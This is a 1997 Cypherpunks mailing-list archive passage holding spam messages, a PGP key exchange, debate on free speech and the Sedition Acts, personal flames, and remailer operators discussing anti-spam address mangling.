From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:01:12 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <FMAFADHJIIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:03:31 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <BBFKOGALKIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 04:58:55 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <KGMAJKJBLIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:17:03 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <LECLHAFDLIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:00:17 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <EGKFFMCMMIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Joe Anonymous" <free.hookers@mailexcite.com>
Date: Thu, 13 Nov 1997 05:00:54 +0800
To: cypherpunks@Algebra.COM
Subject: Thank You
Message-ID: <IMKJHFJNMIHGDAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



Thank you for your recent inquire.

                    President,
                        Joe Anonymous



Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Thu, 13 Nov 1997 05:27:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Amad3us's Key
In-Reply-To: <199711112333.RAA02693@dfw-ix3.ix.netcom.com>
Message-ID: <3.0.3.32.19971112131520.00709ff8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Amad3us
>
>(As there seems to be some confusion about my public key block, here
>it is again with Version field and blank line; I surmise that the
>problem Bill Stewart encountered was that pgp5.0 can't handle armor
>without blank lines (or maybe without blank lines and Version))

Yes, that appears to be the problem.  The original key with
a Version: and blank line added works fine, so I've signed it.

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP for Personal Privacy 5.0

mQCNAzRbd7MAAAEEAONwsEpUgiezyfP6lxBzM5SfHJS6MK12JyR09KBZp2rrW680
4vbKAO/oteftRRM1jYYaQM6pUd2Tbb9z+cSuQGr2GH9kQ0Y7bllh89E1PItj7frG
ARSCbt1gbbXDXEICY8Ne1zZB7FfMt2qGVBdrKG/i2vfdZa5+n/KMuKFNFivhAAUR
tCNBbWFkM3VzIDxjeXBoZXJwdW5rc0BjeWJlcnBhc3MubmV0PokAlQMFEDRbjMPy
jLihTRYr4QEB38ED/1P9L2yLURl5B2GJok3eIf6EnF1ahFxSK7wuK++YfKRKb3Ku
oPTzwSXH+92PZX28dpC+aYu8Qb0dMSCk4Cadn9cxz4n42u509JU4z0o897lB4u2I
TxV3YKbBAQSv/jZ/Gq8drdFtemQXUPigNL6IjDAPc/REiHv7IZNKAniSBo1PiQCV
AwUQNGoDkfnzJsm1fsvFAQHxqQP+ONZfGE+shosEXquD+zTlFCRW8czZxd3YmQ6v
Bj2cU3dKtqFJUxQ2eGDYGNq2pk0Tv4SDrwwZfyvOkFQGStrADajQWlrUOTxOIk0y
ZifgQ/Ct3xv8ExbMI49+0/32fRpqxFONtzg0YkgbtYZLboUc7DhUDHEPvUI/rO3v
ujeJ7dU=
=/iQo
-----END PGP PUBLIC KEY BLOCK-----

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 14 Nov 1997 06:23:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <199711132215.QAA07760@dfw-ix2.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>At 7:45 pm -0500 on 11/11/97, Monty wrote:
>> As Michel Foucault used to say, "The only guarantee of freedom is
>> freedom itself."
>
>The world's foremost pseudomystical relativist cited to support an
>absolutist position. The logic escapes me. But then, logic, much less
>independent thinking, was never Foucault's strong point.

Physician heal thyself!  Much of your discussion consists of ad
hominem attacks with little content such as the paragraph quoted
above.

The Foucault discussion quoted is worth reading.  Unfortunately, it's
been a long time and I cannot provide a reference.

At any rate, the upshot of his argument was that there are often
attempts to ensure freedom, but in reality it can only be assured
through its exercise.

He gave the example of a building in France which was designed to make
people feel free.  Instead of winding little corridors and small rooms
where people would be locked away, it had a large open courtyard and
it was designed so that when you entered the building, everybody could
see you and you could see them.

Foucault argued that in the context of people who are free, this
building would have the intended effect.  In the context of a fearful
and oppressive society, the effect would be quite the opposite.
Everybody would feel that they were being watched all the time.

>> Put another way, "rights which are not exercised are lost."
>
>True enough, but it doesn't follow from your Foucault quote very
>much.  Besides, I'd rather say "because it can be done, it will be
>done."  Especially if it's better.

If Tim believes that a judge has committed a capital crime, I want to
hear about it.  If Tim and others fail to exercise their right to say
what they believe, then it is likely those rights will be suspended in
due time.

>So, by the same token, I would also say that if you're going to
>threaten a federal judge with death on a public email list, it might
>behoove you to use a nym and a remailer. Like you do, Monty. Using a
>nym and a remailer, I mean, not threatening a federal judge. :-).

It seems to me that Tim said "The judge in the Paladin case committed
a capital crime" and not "The judge in the Paladin case committed a
capital crime and should be gunned down in the streets like a dog."

Tim is a good writer.  If he meant the latter I am sure he would have
written the latter.  If anything, the term "capital crime" suggests a
legal proceeding.

Personally, I don't consider violation of oath of office a capital
crime.  But, the judge should be fired.  He clearly isn't taking the
Constitution very seriously.

>> Just because free speech is a right guaranteed under the Constitution
>> does not mean that is necessarily a safe right to exercise.  Let us
>> hope that Tim does not come to harm.  But, let us also give him the
>> credit he deserves for having the courage to speak his mind.
>
>Yes. Fine. Tim has courage. God bless him. Hope he enjoys his
>firefight.

I don't understand why you keep insulting Tim.  Your first post was
insulting and comments like these are likewise insulting.

>> I've been reading about a newspaper called the "Aurora" which
>> operated in the 1790s from Philadelphia.
>
>Yes. I read it too, when it came out. Franklin was my favorite
>patriot.  Aurora was founded by his grandson(?), if I remember. The
>one who went with Franklin to Paris, as a kid, right?

The book I am reading is called "The Aurora: A Democratic-Republican
Returns" by Richard N. Rosenfeld.

>> It made itself very unpopular with
>> Washington by claiming he was not the "Father of the Country".  It
>> made itself doubly unpopular with Adams for other less than
>> respectful, but astute, observations.
>
>Right. And then Adams passed the Alien and Sedition laws. And then
>the Supreme court took him out. Game over.

We must be reading different books.  The Supreme Court did nothing
while the Executive Branch ran rampant.  My guess is that the members
of the Court identified with the political faction represented by the
Adams administration.  Incidentally, it has only been during the 20th
century that the Court has protected the Bill of Rights in any
significant way.

After the editor of "The Aurora" was publicly beaten by Federal
troops, citizens of Philadelphia formed an armed militia and stood
guard outside the offices of the newspaper.  That's why it wasn't
suppressed.

Here's an example of what was going on (pp: 526-527):
> In the midst of this campaign [for the House of Representatives],
> the federal government indicted Matthew Lyon for sedition (October
> 5), arrested him (October 6), tried him without legal representation
> (October 8), fined him $1,000, and sentenced him to four months in
> prison (starting October 9).  His "seditious libel" was the claim
> that President John Adams has demonstrated "a continual grasp for
> power" and an "unbounded thirst for ridiculous pomp, foolish
> adulation, or selfish avarice," &c.  Today, Vermont Congressional
> Congressman Matthew Lyon is in jail."

The Alien and Sedition Acts had a built in expiration period at the
end of Adams's term so that they couldn't be used against the party
that passed them.  They also did not apply to speech against the Vice
President, Thomas Jefferson, who did not belong to the Adams faction.

When Jefferson was elected he pardoned everybody who was tried under
these acts.

Abigail Adams apparently wrote him about these pardonings.  She had
been quite enthused about the suppression of free speech in the United
States and was upset that people who insulted her husband, in her
view, would be allowed to go unpunished.  Jefferson's reply (page
902):
> I discharged every person under punishment or prosecution under the
> Sedition law, because I considered and now consider that law to be a
> nullity as absolute and as palpable as if Congress had ordered us to
> fall down and worship a golden image... [The discharge] was
> accordingly done in every instance without asking what the offenders
> had done or against whom they had offended but whether the pains
> they were suffering were inflicted under the pretended sedition law.
> It was certainly possible that my motives... might have been to
> protect, encourage, and reward slander; but they may also have
> been... to protect the Constitution violated by an unauthorized act
> of Congress.  Which of these were my motives must be decided by a
> regard to the general tenor of my life.  On this I am not afraid to
> appeal to the nation at large, to posterity, and still less to that
> Being who sees himself our motives, who will judge us from his own
> knowledge of them, and not on the testimony of Porcupine or Fenno.

The Constitutional mechanisms to preserve liberty all failed, except
for the election of 1800.

>> If they would only behave (i.e., go along with anything), then they
>> wouldn't have to be censored.
>
>Hogwash. What the conventional wisdom held, back in the 1790's, was a
>bunch of neoaristocratic justifications for the devine rights of the
>state, reminiscent of the devine rights of kings, and that George
>Washington, as the victor of the revolutionary war, deserved as much
>power as he wanted.

Abigail Adams (page 84):
> Bache [editor of the "Aurora"] has the malice & falsehood of
> Satin... But the wretched will provoke to measures which will
> silence them e'er long.  An abused and insulted publick cannot
> tollerate them much longer.  In short they are so criminal that they
> ought to be Presented by the grand jurors.

>Fortunately, a certain "nym" named Publius advocated the separation
>of powers in the constitution, which created a supreme court, which
>used Jefferson's Bill of Rights to shut all that crap down before it
>went too far, modulo a little jail time for those who crash-tested
>the idea.

1. Publius was John Jay, Alexander Hamilton, and James Madison.  Jay
and Hamilton were leaders of the party attempting to subvert the
Constitution.

2. The Federalist version of the Constitution was intended to have
aristocratic elements - the Senate and the President.  Adams even
suggested privately that the Senators should have life long terms and
that Senate seats should be hereditary.

3. The separation of powers failed completely during the Adams
administration.  The Federalists had control of the Congress, the
Executive Branch, and, I suspect, the Supreme Court.

4. The rights and freedoms of Americans were protected only by the
fact that the voters threw the bastards out.  Something to keep in
mind when people tell us that the voters are less trustworthy than
career politicans.

5. The Supreme Court did nothing.

6. Jefferson did not write the Bill of Rights.  He was in France at
the time and was pleased to hear these amendments had been added to
the Constitution.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNGtV2ZaWtjSmRH/5AQHeZQf/UiD0ctd+xy8CUE8ednsENDNNCrVWXvTy
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ssOAvq7XzeDROEehhVlsXUfYCmCcNIq1UakDKSpouUAMhBrwYVCK9A==
=MUMa
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dalton Gang of One <dgo@dev.null>
Date: Thu, 13 Nov 1997 07:19:32 +0800
To: cypherpunks@toad.com
Subject: Re: Minor Language Note
In-Reply-To: <199711121323.HAA28678@dfw-ix10.ix.netcom.com>
Message-ID: <346A0E05.A5C@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



The persona who is thinking of 'selling out' wrote:
> Tim May wrote:
> >My main point was that James Dalton Bell has already spent nearly 7
> >months in jail, and has yet to even be sentenced.
 
> While it was not Tim's intention to make Jim look like a criminal, the
> use of a defendent's full name is often used to connote criminality.
> 
> Lee Harvey Oswald, John Wilkes Booth, John Wayne Gacy, Richard Milhous
> Nixon, William Jefferson Clinton... there are many examples.
> 
> I propose we call Jim by the name he calls himself: Jim Bell.
> 
> Monty Cantsin

Actually, I prefer 'Chief CypherPunks SpokesPerson'.

James Dalton Bell
Chief CypherPunks Spokesperson
CypherPunks Gang of One - Dalton Chapter






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Fri, 14 Nov 1997 06:32:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <199711132216.QAA07981@dfw-ix2.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Robert Hettinga wrote:
>At 7:45 pm -0500 on 11/11/97, Monty wrote:
>> As Michel Foucault used to say, "The only guarantee of freedom is
>> freedom itself."
>
>The world's foremost pseudomystical relativist cited to support an
>absolutist position. The logic escapes me. But then, logic, much less
>independent thinking, was never Foucault's strong point.

Physician heal thyself!  Much of your discussion consists of ad
hominem attacks with little content such as the paragraph quoted
above.

The Foucault discussion quoted is worth reading.  Unfortunately, it's
been a long time and I cannot provide a reference.

At any rate, the upshot of his argument was that there are often
attempts to ensure freedom, but in reality it can only be assured
through its exercise.

He gave the example of a building in France which was designed to make
people feel free.  Instead of winding little corridors and small rooms
where people would be locked away, it had a large open courtyard and
it was designed so that when you entered the building, everybody could
see you and you could see them.

Foucault argued that in the context of people who are free, this
building would have the intended effect.  In the context of a fearful
and oppressive society, the effect would be quite the opposite.
Everybody would feel that they were being watched all the time.

>> Put another way, "rights which are not exercised are lost."
>
>True enough, but it doesn't follow from your Foucault quote very
>much.  Besides, I'd rather say "because it can be done, it will be
>done."  Especially if it's better.

If Tim believes that a judge has committed a capital crime, I want to
hear about it.  If Tim and others fail to exercise their right to say
what they believe, then it is likely those rights will be suspended in
due time.

>So, by the same token, I would also say that if you're going to
>threaten a federal judge with death on a public email list, it might
>behoove you to use a nym and a remailer. Like you do, Monty. Using a
>nym and a remailer, I mean, not threatening a federal judge. :-).

It seems to me that Tim said "The judge in the Paladin case committed
a capital crime" and not "The judge in the Paladin case committed a
capital crime and should be gunned down in the streets like a dog."

Tim is a good writer.  If he meant the latter I am sure he would have
written the latter.  If anything, the term "capital crime" suggests a
legal proceeding.

Personally, I don't consider violation of oath of office a capital
crime.  But, the judge should be fired.  He clearly isn't taking the
Constitution very seriously.

>> Just because free speech is a right guaranteed under the Constitution
>> does not mean that is necessarily a safe right to exercise.  Let us
>> hope that Tim does not come to harm.  But, let us also give him the
>> credit he deserves for having the courage to speak his mind.
>
>Yes. Fine. Tim has courage. God bless him. Hope he enjoys his
>firefight.

I don't understand why you keep insulting Tim.  Your first post was
insulting and comments like these are likewise insulting.

>> I've been reading about a newspaper called the "Aurora" which
>> operated in the 1790s from Philadelphia.
>
>Yes. I read it too, when it came out. Franklin was my favorite
>patriot.  Aurora was founded by his grandson(?), if I remember. The
>one who went with Franklin to Paris, as a kid, right?

The book I am reading is called "The Aurora: A Democratic-Republican
Returns" by Richard N. Rosenfeld.

>> It made itself very unpopular with
>> Washington by claiming he was not the "Father of the Country".  It
>> made itself doubly unpopular with Adams for other less than
>> respectful, but astute, observations.
>
>Right. And then Adams passed the Alien and Sedition laws. And then
>the Supreme court took him out. Game over.

We must be reading different books.  The Supreme Court did nothing
while the Executive Branch ran rampant.  My guess is that the members
of the Court identified with the political faction represented by the
Adams administration.  Incidentally, it has only been during the 20th
century that the Court has protected the Bill of Rights in any
significant way.

After the editor of "The Aurora" was publicly beaten by Federal
troops, citizens of Philadelphia formed an armed militia and stood
guard outside the offices of the newspaper.  That's why it wasn't
suppressed.

Here's an example of what was going on (pp: 526-527):
> In the midst of this campaign [for the House of Representatives],
> the federal government indicted Matthew Lyon for sedition (October
> 5), arrested him (October 6), tried him without legal representation
> (October 8), fined him $1,000, and sentenced him to four months in
> prison (starting October 9).  His "seditious libel" was the claim
> that President John Adams has demonstrated "a continual grasp for
> power" and an "unbounded thirst for ridiculous pomp, foolish
> adulation, or selfish avarice," &c.  Today, Vermont Congressional
> Congressman Matthew Lyon is in jail."

The Alien and Sedition Acts had a built in expiration period at the
end of Adams's term so that they couldn't be used against the party
that passed them.  They also did not apply to speech against the Vice
President, Thomas Jefferson, who did not belong to the Adams faction.

When Jefferson was elected he pardoned everybody who was tried under
these acts.

Abigail Adams apparently wrote him about these pardonings.  She had
been quite enthused about the suppression of free speech in the United
States and was upset that people who insulted her husband, in her
view, would be allowed to go unpunished.  Jefferson's reply (page
902):
> I discharged every person under punishment or prosecution under the
> Sedition law, because I considered and now consider that law to be a
> nullity as absolute and as palpable as if Congress had ordered us to
> fall down and worship a golden image... [The discharge] was
> accordingly done in every instance without asking what the offenders
> had done or against whom they had offended but whether the pains
> they were suffering were inflicted under the pretended sedition law.
> It was certainly possible that my motives... might have been to
> protect, encourage, and reward slander; but they may also have
> been... to protect the Constitution violated by an unauthorized act
> of Congress.  Which of these were my motives must be decided by a
> regard to the general tenor of my life.  On this I am not afraid to
> appeal to the nation at large, to posterity, and still less to that
> Being who sees himself our motives, who will judge us from his own
> knowledge of them, and not on the testimony of Porcupine or Fenno.

The Constitutional mechanisms to preserve liberty all failed, except
for the election of 1800.

>> If they would only behave (i.e., go along with anything), then they
>> wouldn't have to be censored.
>
>Hogwash. What the conventional wisdom held, back in the 1790's, was a
>bunch of neoaristocratic justifications for the devine rights of the
>state, reminiscent of the devine rights of kings, and that George
>Washington, as the victor of the revolutionary war, deserved as much
>power as he wanted.

Abigail Adams (page 84):
> Bache [editor of the "Aurora"] has the malice & falsehood of
> Satin... But the wretched will provoke to measures which will
> silence them e'er long.  An abused and insulted publick cannot
> tollerate them much longer.  In short they are so criminal that they
> ought to be Presented by the grand jurors.

>Fortunately, a certain "nym" named Publius advocated the separation
>of powers in the constitution, which created a supreme court, which
>used Jefferson's Bill of Rights to shut all that crap down before it
>went too far, modulo a little jail time for those who crash-tested
>the idea.

1. Publius was John Jay, Alexander Hamilton, and James Madison.  Jay
and Hamilton were leaders of the party attempting to subvert the
Constitution.

2. The Federalist version of the Constitution was intended to have
aristocratic elements - the Senate and the President.  Adams even
suggested privately that the Senators should have life long terms and
that Senate seats should be hereditary.

3. The separation of powers failed completely during the Adams
administration.  The Federalists had control of the Congress, the
Executive Branch, and, I suspect, the Supreme Court.

4. The rights and freedoms of Americans were protected only by the
fact that the voters threw the bastards out.  Something to keep in
mind when people tell us that the voters are less trustworthy than
career politicans.

5. The Supreme Court did nothing.

6. Jefferson did not write the Bill of Rights.  He was in France at
the time and was pleased to hear these amendments had been added to
the Constitution.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Nov 1997 03:36:41 +0800
To: cypherpunks@Algebra.COM
Subject: The Incredible Shrinking Tim, and e$lab
In-Reply-To: <34698507.19B5@dev.null>
Message-ID: <v031107e4b08f9f22132a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



At 11:19 am -0500 on 11/12/97, Tim May wrote:

> There seems to be an unhealthy desire by some to "armchair psychoanalyze"
> the motivations and inner motivations of others. In recent days, me.

Guilty. Too much data. Too little pattern. Of course, the definition of
"unhealthy" is always relative, especially in a pseudoscience like
psychology.

> Detweiler used to rant for pages and pages about my state of mind and how
> my words were "torturing" him, and on and on. This was an unhealthy
> fixation on me, in my not so humble opinion.
>
> Now Hettinga seems to have again fallen into this state.

Yup, Tim. That's it.

Me. Detweiller.

Same people.

"Movies. Laundry. Same thing." as the MoviePhone commercial goes...


> Though he styles
> himself as an astute observer of human behavior, he fails utterly to
> persuade with his insults and whinings.

Well, I think you've got me beat on the insult front so far in *this* little
bit of repartee, Tim. As for whining, I suppose it's relative. I mean, when
all you can hear is mortar cuncussions, I bet *everything* sounds like
whining. If you can hear anything at all.

> Bob, get a life. Go do something useful. Make some real money.

Now, Tim. Are you *jealous* of my impecuniosity? I have to admit, I have
more fun than money these days, but things *are* getting interesting.

Fortunately, you seem to be making great strides to solve that problem you
have with our asset disparity... I guess chips on the sholder, mountaintop
fortresses, overwhelming firepower, and, someday, a team of defense lawyers
(if you live that long) are God's way of telling you that you have too many
assets and not enough people around you?

> Just stop whining about how I'm not sending you money to finance your
> "Geodesic Hothouse Enterprises," or whatever, startups.

Well, fortunately, e$lab's doing fine without such sage counsel. We're
spec'ing the first product, hopefully by the end of this week, and, we're
hoping to announce before, of course, FC98 in February.

And, actually, you were right, and we listened to you. We don't *need* that
much money to bootstrap these first few products (the technology of
peer-to-peer internet transactions with a 3 orders of magnitude cost
reduction goal seems to work quite nicely on the investment side of the
balance sheet, as well), so we might not need to go the "hothouse" route at
all. At the moment, e$lab looks more like a good old fashioned
investment/trading partnership than anything else. And, I'll admit that
your stinging rebuke on the subject a few weeks ago got me thinking about
what I was doing and how to do it better.

Also, I wasn't asking *you* for money at all. I was suggesting that you
might want to put your money where your mouth was, technology wise, which
is what more of us should be doing. Those of us with money, anyway. :-).
However, if you've been saving it up shoot it out with John Law, and, if you
survive, to bail yourself out and skip the country someday to continue the
revolution from Bolivia, I think I see the grand design, now. :-).

> And just stop
> whining about how we all ought to tone down our words and so not make Big
> Brother angry.

I've already answered this in a post which crossed with this one, so I'll
leave this little troll alone.

Of course, Tim, in turn, I wish you would stop "whining" about how the end
of the world is neigh. You're sounding positively millenialist, these days.

Or, now that I think about it, you sound a lot like I did in college when
the Russians invaded Afganistan and, horrors, Ronald Reagan looked like he
was going to be elected. I thought all the bombs were going to drop the day
Uncle Ronnie got the button. At that point, I had too much reputation
capital (not to mention hashish :-)) and not enough people around telling
me I was paranoid, if not just stone batshit. I had at least 20 people
working with me on various anti-war projects, all thinking the way I did.
RDF=13, Data=0.

Learned what "Liberal Until Graduation" meant, I did...

So, Tim, in that vein, are you an anarchist until after the firefight?

Fortunately, I made my mistakes at an age when I could afford them.

Cheers,
Bob Hettinga


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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@mrlizard.com>
Date: Thu, 13 Nov 1997 07:19:45 +0800
To: cypherpunks@toad.com
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <Declan McCullagh's message of "Wed, 12 Nov 1997 17:01:57 -0500">
Message-ID: <3.0.1.32.19971112150957.00e3fb40@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:05 PM 11/12/97 -0500, Colin Rafferty wrote:
>
>By the way, my signature contains an ascii art rendition of an adult
>about to have sex with a child.  I believe that (i) it appeals to a
>prurient interest in sex; (ii) it depicts, in a patently offensive way,
>a simulated sexual act; and (iii) lacks any value whatsoever.
>
>Now all I need to do is put it up on a web page on a for-profit company.
>
More to the point, since Deja News will bring it up if you post to Usenet
with it, they become 'porn distributors'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wu Tang" <joe7bananas@hotmail.com>
Date: Thu, 13 Nov 1997 07:30:35 +0800
To: cypherpunks@toad.com
Subject: Info
Message-ID: <19971112231043.23737.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Does anyone have comments, used, or know the strength of 
George Barwoods' Elliptic Curve Cryptosystem "Pegwit" at 
http://ds.dial.pipex.com/george.barwood/v8/pegwit.htm

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@neptune.chem.uga.edu>
Date: Thu, 13 Nov 1997 04:34:39 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Databasix conspiracy theories
In-Reply-To: <199711121408.PAA07532@basement.replay.com>
Message-ID: <Pine.LNX.3.94.971112144125.8435f-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 12 Nov 1997, Anonymous wrote:

> Andy Dustman <andy@neptune.chem.uga.edu> wrote:
> > 
> > If you really want the post to have the From: address of your nym, send
> > the post with your nym and not with the remailer as the last hop. The
> > point of anonymous remailers is to be anonymous. If you want to use a
> > psuedonym, use a nymserver.
> 
> If I remember correctly, the documentation for at least one of the nymservers
> suggested that posting through a remailer and pasting in the return address
> would be quicker and impose less burden on the server than having to process
> each outgoing message through the server.

That's possible, and if true, it's probably in the documentation for
redneck. Personally, I would prefer to have the server handle those
messages, simply because there is a certain amount of "authentication",
i.e., you can be reasonably sure that that nym really sent the message and
wasn't forged.

> > Cracker does have a spam-bait mangler which is somewhat simpler than the
> > scheme Jeff used. In a nutshell, if there are an inordinately large number
> > of addresses (compared to other text), the addresses are mangled, i.e.,
> > president@whitehouse.gov becomes president <AT> whitehouse <DOT> gov.
> > Still human-readable but useless for address harvesters. No posts get
> > dropped or filtered out under this scheme, and no keywords or particular
> > addresses are looked for.
> 
> I'm not sure that even that is a wise precedent to set.  In itself it seems
> innocuous enough, but it could always lead to a demand, "Well, you already
> mangle e-mail addresses contained in the bodies of posts, so why not also
> alter the contents of posts in the following way..."

Well, I'm not real happy to have to do it. It was in response to a very
active spam-baiting campaign, apparently directed at the Databasix people,
and primarily consisted of lists of addresses with no (or very little)
other text. I doubt this methodology could realistically be applied to
anything else (or that I would consider doing it for anything else).

> Also, I hope that your mangler is smart enough to distinguish e-mail addresses
> from lists of Usenet message IDs, since a list of such references should be
> perfectly valid in the body of a post.

It's not.

> The problem with destroying machine readability of e-mail addresses is
> that many newsreaders will turn an e-mail address into a hot link where
> one could simply click on it to send e-mail.  If someone were to
> anonymously post a message in support of or in opposition to a certain
> piece of legislation, and include a list of the e-mail addresses of the
> Congress-critters on a certain committee considering that bill, such a
> scheme might defeat the purpose of the list.  IMO, anything that makes
> posting via a remailer less functional than doing so non-anonymously is
> ultimately detrimental to the cause of privacy. 

I agree with you in principle. I think in practice, though, not being able
do just click on the address to send mail (and then only in newsreaders
that support it) is not a huge loss of functionality, as the address is
still readable (by humans).

> BTW, is there any evidence to indicate that anyone is really harvesting e-mail
> addresses from the BODIES of Usenet posts?  Gary Burnore posts his flames quite
> widely, so it's quite likely that any bulk e-mailing lists he's on is the
> result of his (non-mangled) e-mail address being in the From: line of his own 
> posts.

I really don't know. I do know when the spam-baiting campaign started, the
spam-baiters would also use the remailers to contact the people
spam-baited to let them know they had been spam-baited so they would
complain to us. (There was another set of letters going around claiming to
be pro-remailer, but I was always skeptical that that was the true
intention.)

> Perhaps the ultimate reality check is whether someone is seeking to impose a
> standard on remailers that's stricter than the one imposed on the phone company
> or the postal service.  I can drop some coins in a pay phone and call anyone at
> any time.  The functionality of a public phone is not restricted merely because
> the users are not identified.  Similarly, I can drop a letter in a public mailbox
> without anyone verifying my identity.  No return address is required.  Or I can
> write in a return address and nobody will check whether it's "genuine" or
> "forged".  It would be ludicrous, for example, for someone who had received a
> couple of crank phone calls from payphones to demand that the phone company
> either totally prevent this abuse from ever happening again or else remove all of 
> its pay phones!  And yet those are exactly the demands that anti-privacy zealots 
> have made on remailers, and often they've succeeded.

Well, I agree, and I don't do anything to messages that are mailed from
person-to-person (except drop exact duplicates). The only anti-abuse stuff
I have works on USENET posts, so it's not quite analogous to the phone
company or postal service. (I use that analogy all the time when people
complain about messages they receive.)

> Should one's willingness to broadcast his/her name and e-mail address 
> indiscriminately to a WORLDWIDE newsgroup be a prerequisite for one to express
> one's views?  Is that not tantamount to saying that one cannot walk down the
> street without wearing a badge containing his name, address, and phone number for
> all to read?  Or should one's name and e-mail address be considered his property
> to be divulged only if and when he chooses?

And I agree with you here too. I guess I'd have to or I wouldn't be
running a remailer.

Andy Dustman / Computational Center for Molecular Structure and Design
For a great anti-spam procmail recipe, send me mail with subject "spam".
Append "+spamsucks" to my username to ensure delivery.  KeyID=0xC72F3F1D
Encryption is too important to leave to the government. -- Bruce Schneier
http://www.athens.net/~dustman mailto:andy@neptune.chem.uga.edu   <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 13 Nov 1997 04:48:09 +0800
To: cypherpunks@cyberpass.net
Subject: See brother Ralph, bash billg for free.
Message-ID: <v031107ebb08fbfcdb559@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



See Washington before it burns...

Cheers,
Bob Hettinga
--- begin forwarded text


Date: Wed, 12 Nov 1997 13:35:24 -0500 (EST)
Reply-To: love@cptech.org
Originator: info-policy-notes@essential.org
Sender: info-policy-notes@essential.org
Precedence: bulk
From: James Love <love@cptech.org>
To: Multiple recipients of list <info-policy-notes@essential.org>
Subject: Microsoft Conference Scholarship Info
MIME-Version: 1.0

I have mentioned this a few times before, but apparently some are not
aware. People who want to attend the Essential Information Conference on
Microsoft, and who do not have funding for the conference fee, can
